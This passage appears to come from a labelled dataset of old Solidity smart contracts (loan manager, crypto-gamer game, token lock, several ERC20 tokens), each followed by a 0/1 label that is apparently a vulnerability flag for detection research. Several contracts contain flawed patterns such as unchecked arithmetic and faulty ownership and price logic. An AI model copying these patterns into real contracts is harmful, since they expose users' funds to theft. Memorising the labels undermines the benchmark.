safeMult(safeMult(100000, amount), timeDelta) / interestRate; realDelta = safeMult(interest, interestRate) / (amount * 100000); } } function internalAddInterest(Loan storage loan, uint256 timestamp) internal { if (timestamp > loan.interestTimestamp) { uint256 newInterest = loan.interest; uint256 newPunitoryInterest = loan.punitoryInterest; uint256 newTimestamp; uint256 realDelta; uint256 calculatedInterest; uint256 deltaTime; uint256 pending; uint256 endNonPunitory = min(timestamp, loan.dueTime); if (endNonPunitory > loan.interestTimestamp) { deltaTime = endNonPunitory - loan.interestTimestamp; if (loan.paid < loan.amount) { pending = loan.amount - loan.paid; } else { pending = 0; } (realDelta, calculatedInterest) = calculateInterest(deltaTime, loan.interestRate, pending); newInterest = safeAdd(calculatedInterest, newInterest); newTimestamp = loan.interestTimestamp + realDelta; } if (timestamp > loan.dueTime) { uint256 startPunitory = max(loan.dueTime, loan.interestTimestamp); deltaTime = timestamp - startPunitory; uint256 debt = safeAdd(loan.amount, newInterest); pending = min(debt, safeSubtract(safeAdd(debt, newPunitoryInterest), loan.paid)); (realDelta, calculatedInterest) = calculateInterest(deltaTime, loan.interestRatePunitory, pending); newPunitoryInterest = safeAdd(newPunitoryInterest, calculatedInterest); newTimestamp = startPunitory + realDelta; } if (newInterest != loan.interest || newPunitoryInterest != loan.punitoryInterest) { loan.interestTimestamp = newTimestamp; loan.interest = newInterest; loan.punitoryInterest = newPunitoryInterest; } } } function addInterest(uint index) public returns (bool) { Loan storage loan = loans[index]; require(loan.status == Status.lent); internalAddInterest(loan, block.timestamp); } function pay(uint index, uint256 _amount, address _from, bytes oracleData) public returns (bool) { Loan storage loan = loans[index]; require(loan.status == Status.lent); addInterest(index); uint256 toPay = min(getPendingAmount(index), _amount); PartialPayment(index, msg.sender, _from, toPay); loan.paid = safeAdd(loan.paid, toPay); if (getRawPendingAmount(index) == 0) { TotalPayment(index); loan.status = Status.paid; lendersBalance[loan.lender] -= 1; activeLoans -= 1; Transfer(loan.lender, 0x0, index); } uint256 transferValue = convertRate(loan.oracle, loan.currency, oracleData, toPay); require(transferValue > 0 || toPay < _amount); lockTokens(rcn, transferValue); require(rcn.transferFrom(msg.sender, this, transferValue)); loan.lenderBalance = safeAdd(transferValue, loan.lenderBalance); return true; } function convertRate(Oracle oracle, bytes32 currency, bytes data, uint256 amount) public returns (uint256) { if (oracle == address(0)) { return amount; } else { uint256 rate; uint256 decimals; (rate, decimals) = oracle.getRate(currency, data); require(decimals <= RCN_DECIMALS); return (safeMult(safeMult(amount, rate), (10**(RCN_DECIMALS-decimals)))) / PRECISION; } } function withdrawal(uint index, address to, uint256 amount) public returns (bool) { Loan storage loan = loans[index]; require(msg.sender == loan.lender); loan.lenderBalance = safeSubtract(loan.lenderBalance, amount); require(rcn.transfer(to, amount)); unlockTokens(rcn, amount); return true; } function withdrawalRange(uint256 fromIndex, uint256 toIndex, address to) public returns (uint256) { uint256 loanId; uint256 totalWithdraw = 0; for (loanId = fromIndex; loanId <= toIndex; loanId++) { Loan storage loan = loans[loanId]; if (loan.lender == msg.sender) { totalWithdraw += loan.lenderBalance; loan.lenderBalance = 0; } } require(rcn.transfer(to, totalWithdraw)); unlockTokens(rcn, totalWithdraw); return totalWithdraw; } function withdrawalList(uint256[] memory loanIds, address to) public returns (uint256) { uint256 inputId; uint256 totalWithdraw = 0; for (inputId = 0; inputId < loanIds.length; inputId++) { Loan storage loan = loans[loanIds[inputId]]; if (loan.lender == msg.sender) { totalWithdraw += loan.lenderBalance; loan.lenderBalance = 0; } } require(rcn.transfer(to, totalWithdraw)); unlockTokens(rcn, totalWithdraw); return totalWithdraw; } function setDeprecated(bool _deprecated) public onlyOwner { deprecated = _deprecated; } }
0
pragma solidity ^0.4.18; contract PlayCryptoGaming { address contractOwnerAddress = 0x46d9112533ef677059c430E515775e358888e38b; uint256 priceContract = 26000000000000000000; modifier onlyOwner() { require (msg.sender == contractOwnerAddress); _; } struct CryptoGamer { string name; address ownerAddress; uint256 curPrice; } CryptoGamer[] cryptoGamers; bool cryptoGamersAreInitiated; bool isPaused; function pauseGame() public onlyOwner { isPaused = true; } function unPauseGame() public onlyOwner { isPaused = false; } function GetIsPaused() public view returns(bool) { return(isPaused); } function purchaseCryptoGamer(uint _cryptoGamerId) public payable { require(msg.value == cryptoGamers[_cryptoGamerId].curPrice); require(isPaused == false); uint256 commission5percent = ((msg.value / 10)/2); address leastExpensiveCryptoGamerOwner = cryptoGamers[getLeastExpensiveCryptoGamer()].ownerAddress; address mostExpensiveCryptoGamerOwner = cryptoGamers[getMostExpensiveCryptoGamer()].ownerAddress; if(leastExpensiveCryptoGamerOwner == address(this)) { leastExpensiveCryptoGamerOwner = contractOwnerAddress; } if(mostExpensiveCryptoGamerOwner == address(this)) { mostExpensiveCryptoGamerOwner = contractOwnerAddress; } leastExpensiveCryptoGamerOwner.transfer(commission5percent); mostExpensiveCryptoGamerOwner.transfer(commission5percent); uint256 commissionOwner = msg.value - (commission5percent * 3); if(cryptoGamers[_cryptoGamerId].ownerAddress == address(this)) { contractOwnerAddress.transfer(commissionOwner); } else { cryptoGamers[_cryptoGamerId].ownerAddress.transfer(commissionOwner); } contractOwnerAddress.transfer(commission5percent); cryptoGamers[_cryptoGamerId].ownerAddress = msg.sender; cryptoGamers[_cryptoGamerId].curPrice = cryptoGamers[_cryptoGamerId].curPrice + (cryptoGamers[_cryptoGamerId].curPrice / 2); } function purchaseContract() public payable { require(msg.value == priceContract); uint256 commission5percent = ((msg.value / 10)/2); address leastExpensiveCryptoGamerOwner = cryptoGamers[getLeastExpensiveCryptoGamer()].ownerAddress; address mostExpensiveCryptoGamerOwner = cryptoGamers[getMostExpensiveCryptoGamer()].ownerAddress; if(leastExpensiveCryptoGamerOwner == address(this)) { leastExpensiveCryptoGamerOwner = contractOwnerAddress; } if(mostExpensiveCryptoGamerOwner == address(this)) { mostExpensiveCryptoGamerOwner = contractOwnerAddress; } leastExpensiveCryptoGamerOwner.transfer(commission5percent); mostExpensiveCryptoGamerOwner.transfer(commission5percent); uint256 commissionOwner = msg.value - (commission5percent * 2); contractOwnerAddress.transfer(commissionOwner); contractOwnerAddress = msg.sender; } function getPriceContract() public view returns(uint) { return(priceContract); } function updatePriceContract(uint256 _newPrice) public onlyOwner { priceContract = _newPrice; } function getContractOwnerAddress() public view returns(address) { return(contractOwnerAddress); } function updateCryptoGamerPrice(uint _cryptoGamerId, uint256 _newPrice) public { require(_newPrice > 0); require(cryptoGamers[_cryptoGamerId].ownerAddress == msg.sender); require(_newPrice < cryptoGamers[_cryptoGamerId].curPrice); cryptoGamers[_cryptoGamerId].curPrice = _newPrice; } function getCryptoGamer(uint _cryptoGamerId) public view returns ( string name, address ownerAddress, uint256 curPrice ) { CryptoGamer storage _cryptoGamer = cryptoGamers[_cryptoGamerId]; name = _cryptoGamer.name; ownerAddress = _cryptoGamer.ownerAddress; curPrice = _cryptoGamer.curPrice; } function getLeastExpensiveCryptoGamer() public view returns(uint) { uint _leastExpensiveGamerId = 0; uint256 _leastExpensiveGamerPrice = 9999000000000000000000; for (uint8 i = 0; i < cryptoGamers.length; i++) { if(cryptoGamers[i].curPrice < _leastExpensiveGamerPrice) { _leastExpensiveGamerPrice = cryptoGamers[i].curPrice; _leastExpensiveGamerId = i; } } return(_leastExpensiveGamerId); } function getMostExpensiveCryptoGamer() public view returns(uint) { uint _mostExpensiveGamerId = 0; uint256 _mostExpensiveGamerPrice = 9999000000000000000000; for (uint8 i = 0; i < cryptoGamers.length; i++) { if(cryptoGamers[i].curPrice > _mostExpensiveGamerPrice) { _mostExpensiveGamerPrice = cryptoGamers[i].curPrice; _mostExpensiveGamerId = i; } } return(_mostExpensiveGamerId); } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function createCryptoGamer(string _cryptoGamerName, uint256 _cryptoGamerPrice) public onlyOwner { cryptoGamers.push(CryptoGamer(_cryptoGamerName, address(this), _cryptoGamerPrice)); } function InitiateCryptoGamers() public onlyOwner { require(cryptoGamersAreInitiated == false); createCryptoGamer("Phil", 450000000000000000); createCryptoGamer("Carlini8", 310000000000000000); createCryptoGamer("Ferocious", 250000000000000000); createCryptoGamer("Pranked", 224000000000000000); createCryptoGamer("SwagDaPanda", 181000000000000000); createCryptoGamer("Slush", 141000000000000000); createCryptoGamer("Acapuck", 107000000000000000); createCryptoGamer("Arwynian", 131000000000000000); createCryptoGamer("Bohl", 106000000000000000); createCryptoGamer("Corgi", 91500000000000000); createCryptoGamer("Enderhero", 104000000000000000); createCryptoGamer("Hecatonquiro", 105000000000000000); createCryptoGamer("herb", 101500000000000000); createCryptoGamer("Kail", 103000000000000000); createCryptoGamer("karupin the cat", 108100000000000000); createCryptoGamer("LiveFree", 90100000000000000); createCryptoGamer("Prokiller", 100200000000000000); createCryptoGamer("Sanko", 101000000000000000); createCryptoGamer("TheHermitMonk", 100000000000000000); createCryptoGamer("TomiSharked", 89000000000000000); createCryptoGamer("Zalman", 92000000000000000); createCryptoGamer("xxFyMxx", 110000000000000000); createCryptoGamer("UncleTom", 90000000000000000); createCryptoGamer("legal", 115000000000000000); createCryptoGamer("Terpsicores", 102000000000000000); createCryptoGamer("triceratops", 109000000000000000); createCryptoGamer("souto", 85000000000000000); } }
1
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 28598400; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0xd8F0c245dADB3e09617e131b046b75a6952952eD; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.4.17; contract tokenRecipient { function receiveApproval(address from, uint256 value, address token, bytes extraData) public; } contract ElevateCoin { string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; uint256 public remaining; uint public ethRate; address public owner; uint256 public amountCollected; uint public icoStatus; uint public icoTokenPrice; address public benAddress; address public bkaddress; uint public allowTransferToken; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); event TransferSell(address indexed from, address indexed to, uint256 value, string typex); function ElevateCoin() public { totalSupply = 10000000000000000000000000000; owner = msg.sender; balanceOf[owner] = totalSupply; name = "Elevate Coin"; symbol = "ElevateCoin"; decimals = 18; remaining = totalSupply; ethRate = 300; icoStatus = 1; icoTokenPrice = 10; benAddress = 0x57D1aED65eE1921CC7D2F3702C8A28E5Dd317913; bkaddress = 0xE254FC78C94D7A358F78323E56D9BBBC4C2F9993; allowTransferToken = 0; } modifier onlyOwner() { require((msg.sender == owner) || (msg.sender == bkaddress)); _; } function () public payable { if (remaining > 0 && icoStatus == 1 ) { uint finalTokens = (msg.value * ethRate ) / icoTokenPrice; finalTokens = finalTokens * (10 ** 2) ; if(finalTokens < remaining) { remaining = remaining - finalTokens; amountCollected = amountCollected + (msg.value / 10 ** 18); _transfer(owner,msg.sender, finalTokens); TransferSell(owner, msg.sender, finalTokens,'Online'); } else { revert(); } } else { revert(); } } function sellOffline(address rec_address,uint256 token_amount) public onlyOwner { if (remaining > 0) { uint finalTokens = (token_amount * (10 ** 18)); if(finalTokens < remaining) { remaining = remaining - finalTokens; _transfer(owner,rec_address, finalTokens); TransferSell(owner, rec_address, finalTokens,'Offline'); } else { revert(); } } else { revert(); } } function getEthRate() onlyOwner public constant returns (uint) { return ethRate; } function setEthRate (uint newEthRate) public onlyOwner { ethRate = newEthRate; } function getTokenPrice() onlyOwner public constant returns (uint) { return icoTokenPrice; } function setTokenPrice (uint newTokenRate) public onlyOwner { icoTokenPrice = newTokenRate; } function setTransferStatus (uint status) public onlyOwner { allowTransferToken = status; } function changeIcoStatus (uint8 statx) public onlyOwner { icoStatus = statx; } function withdraw(uint amountWith) public onlyOwner { if((msg.sender == owner) || (msg.sender == bkaddress)) { benAddress.transfer(amountWith); } else { revert(); } } function withdraw_all() public onlyOwner { if((msg.sender == owner) || (msg.sender == bkaddress) ) { var amountWith = this.balance - 10000000000000000; benAddress.transfer(amountWith); } else { revert(); } } function mintToken(uint256 tokensToMint) public onlyOwner { if(tokensToMint > 0) { var totalTokenToMint = tokensToMint * (10 ** 18); balanceOf[owner] += totalTokenToMint; totalSupply += totalTokenToMint; Transfer(0, owner, totalTokenToMint); } } function freezeAccount(address target, bool freeze) private onlyOwner { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function getCollectedAmount() onlyOwner public constant returns (uint256 balance) { return amountCollected; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balanceOf[_owner]; } function totalSupply() private constant returns (uint256 tsupply) { tsupply = totalSupply; } function transferOwnership(address newOwner) public onlyOwner { balanceOf[owner] = 0; balanceOf[newOwner] = remaining; owner = newOwner; } function _transfer(address _from, address _to, uint _value) internal { if(allowTransferToken == 1 || _from == owner ) { require(!frozenAccount[_from]); require (_to != 0x0); require (balanceOf[_from] > _value); require (balanceOf[_to] + _value > balanceOf[_to]); balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); } else { revert(); } } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require (_value < allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require (balanceOf[msg.sender] > _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; Burn(_from, _value); return true; } }
1
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } library Roles { struct Role { mapping (address => bool) bearer; } function add(Role storage role, address account) internal { require(account != address(0)); require(!has(role, account)); role.bearer[account] = true; } function remove(Role storage role, address account) internal { require(account != address(0)); require(has(role, account)); role.bearer[account] = false; } function has(Role storage role, address account) internal view returns (bool) { require(account != address(0)); return role.bearer[account]; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract ERC20 is IERC20 { using SafeMath for uint256; using Roles for Roles.Role; event PauserAdded(address indexed account); event PauserRemoved(address indexed account); event Paused(address account); event Unpaused(address account); Roles.Role private pausers; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; bool private _paused; modifier onlyPauser() { require(isPauser(msg.sender)); _; } constructor(string name, string symbol, uint8 decimals, uint256 totalSupply) public { _name = name; _symbol = symbol; _decimals = decimals; _totalSupply = totalSupply; _balances[msg.sender] = _balances[msg.sender].add(_totalSupply); _addPauser(msg.sender); _paused = false; emit Transfer(address(0), msg.sender, totalSupply); } function paused() public view returns(bool) { return _paused; } modifier whenNotPaused() { require(!_paused); _; } modifier whenPaused() { require(_paused); _; } function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(msg.sender); } function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(msg.sender); } function isPauser(address account) public view returns (bool) { return pausers.has(account); } function addPauser(address account) public onlyPauser { _addPauser(account); } function renouncePauser() public { _removePauser(msg.sender); } function _addPauser(address account) internal { pausers.add(account); emit PauserAdded(account); } function _removePauser(address account) internal { pausers.remove(account); emit PauserRemoved(account); } function name() public view returns(string) { return _name; } function symbol() public view returns(string) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance( address owner, address spender ) public view returns (uint256) { return _allowed[owner][spender]; } function transfer(address to, uint256 value) public whenNotPaused returns (bool) { _transfer(msg.sender, to, value); return true; } function approve(address spender, uint256 value) public whenNotPaused returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom( address from, address to, uint256 value ) public whenNotPaused returns (bool) { require(value <= _allowed[from][msg.sender]); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); return true; } function increaseAllowance( address spender, uint256 addedValue ) public whenNotPaused returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function decreaseAllowance( address spender, uint256 subtractedValue ) public whenNotPaused returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function _transfer(address from, address to, uint256 value) internal { require(value <= _balances[from]); require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } }
1
pragma solidity ^0.4.10; contract TokenConfig { string public constant symbol = "ETT"; string public constant name = "EncryptoTel Token"; uint8 public constant decimals = 8; uint256 public constant TOTALSUPPLY = 7766398700000000; } contract ERC20Interface { uint256 public totalSupply; function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() { owner = msg.sender; } modifier onlyOwner { if (msg.sender != owner) throw; _; } function transferOwnership(address _newOwner) onlyOwner { newOwner = _newOwner; } function acceptOwnership() { if (msg.sender != newOwner) throw; OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract WavesEthereumSwap is Owned, ERC20Interface { event WavesTransfer(address indexed _from, string wavesAddress, uint256 amount); function moveToWaves(string wavesAddress, uint256 amount) { if (!transfer(owner, amount)) throw; WavesTransfer(msg.sender, wavesAddress, amount); } } contract EncryptoTelToken is TokenConfig, WavesEthereumSwap { mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowed; function EncryptoTelToken() Owned() TokenConfig() { totalSupply = TOTALSUPPLY; balances[owner] = TOTALSUPPLY; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function transfer( address _to, uint256 _amount ) returns (bool success) { if (balances[msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to] ) { balances[msg.sender] -= _amount; balances[_to] += _amount; Transfer(msg.sender, _to, _amount); return true; } else { return false; } } function approve( address _spender, uint256 _amount ) returns (bool success) { allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } function transferFrom( address _from, address _to, uint256 _amount ) returns (bool success) { if (balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to] ) { balances[_from] -= _amount; allowed[_from][msg.sender] -= _amount; balances[_to] += _amount; Transfer(_from, _to, _amount); return true; } else { return false; } } function allowance( address _owner, address _spender ) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function transferAnyERC20Token( address tokenAddress, uint256 amount ) onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, amount); } function () { throw; } }
1
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function cei(uint256 a, uint256 b) internal pure returns (uint256) { return ((a + b - 1) / b) * b; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval (address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; address public masterOwner = 0x5D1EC7558C8D1c40406913ab5dbC0Abf1C96BA42; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public { require(newOwner != address(0)); require(masterOwner == msg.sender); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract FTXToken is StandardToken, Ownable { string public constant NAME = "Fincoin"; string public constant SYMBOL = "FTX"; string public constant VERSION = "0.9"; uint8 public constant DECIMALS = 18; uint256 public constant INITIAL_SUPPLY = 100000000 * 10**18; uint256 public constant FINTRUX_RESERVE_FTX = 10000000 * 10**18; uint256 public constant CROSS_RESERVE_FTX = 5000000 * 10**18; uint256 public constant TEAM_RESERVE_FTX = 10000000 * 10**18; address public constant FINTRUX_RESERVE = 0x633348b01B3f59c8A445365FB2ede865ecc94a0B; address public constant CROSS_RESERVE = 0xED200B7BC7044290c99993341a82a21c4c7725DB; address public constant TEAM_RESERVE = 0xfc0Dd77c6bd889819E322FB72D4a86776b1632d5; uint256 public constant VESTING_DATE = 1519837200 + 1 years; uint256 public token4Gas = 1*10**18; uint256 public gas4Token = 80000*0.6*10**9; uint256 public minGas4Accts = 80000*4*10**9; bool public allowTransfers = false; mapping (address => bool) public transferException; event Withdraw(address indexed from, address indexed to, uint256 value); event GasRebateFailed(address indexed to, uint256 value); function FTXToken(address _owner) public { require(_owner != address(0)); totalSupply = INITIAL_SUPPLY; balances[_owner] = INITIAL_SUPPLY - FINTRUX_RESERVE_FTX - CROSS_RESERVE_FTX - TEAM_RESERVE_FTX; balances[FINTRUX_RESERVE] = FINTRUX_RESERVE_FTX; balances[CROSS_RESERVE] = CROSS_RESERVE_FTX; balances[TEAM_RESERVE] = TEAM_RESERVE_FTX; owner = _owner; transferException[owner] = true; } function transfer(address _to, uint256 _value) public returns (bool) { require(canTransferTokens()); require(_value > 0 && _value >= token4Gas); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); if (this.balance > gas4Token && msg.sender.balance < minGas4Accts) { if (!msg.sender.send(gas4Token)) { GasRebateFailed(msg.sender,gas4Token); } } return true; } function setToken4Gas(uint256 newFTXAmount) public onlyOwner { require(newFTXAmount > 0); token4Gas = newFTXAmount; } function setGas4Token(uint256 newGasInWei) public onlyOwner { require(newGasInWei > 0 && newGasInWei <= 840000*10**9); gas4Token = newGasInWei; } function setMinGas4Accts(uint256 minBalanceInWei) public onlyOwner { require(minBalanceInWei > 0 && minBalanceInWei <= 840000*10**9); minGas4Accts = minBalanceInWei; } function() payable public onlyOwner { } function withdrawToOwner (uint256 weiAmt) public onlyOwner { require(weiAmt > 0); msg.sender.transfer(weiAmt); Withdraw(this, msg.sender, weiAmt); } function setAllowTransfers(bool bAllowTransfers) external onlyOwner { allowTransfers = bAllowTransfers; } function addToException(address addr) external onlyOwner { require(addr != address(0)); require(!isException(addr)); transferException[addr] = true; } function delFrException(address addr) external onlyOwner { require(addr != address(0)); require(transferException[addr]); delete transferException[addr]; } function isException(address addr) public view returns (bool) { return transferException[addr]; } function canTransferTokens() internal view returns (bool) { if (msg.sender == TEAM_RESERVE) { return now >= VESTING_DATE; } else { return allowTransfers || isException(msg.sender); } } }
1
pragma solidity >=0.4.22 <0.6.0; contract owned { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract TokenERC20 { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burn(address indexed from, uint256 value); constructor( uint256 initialSupply, string memory tokenName, string memory tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != address(0x0)); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function approveAndCall(address _spender, uint256 _value, bytes memory _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, address(this), _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; 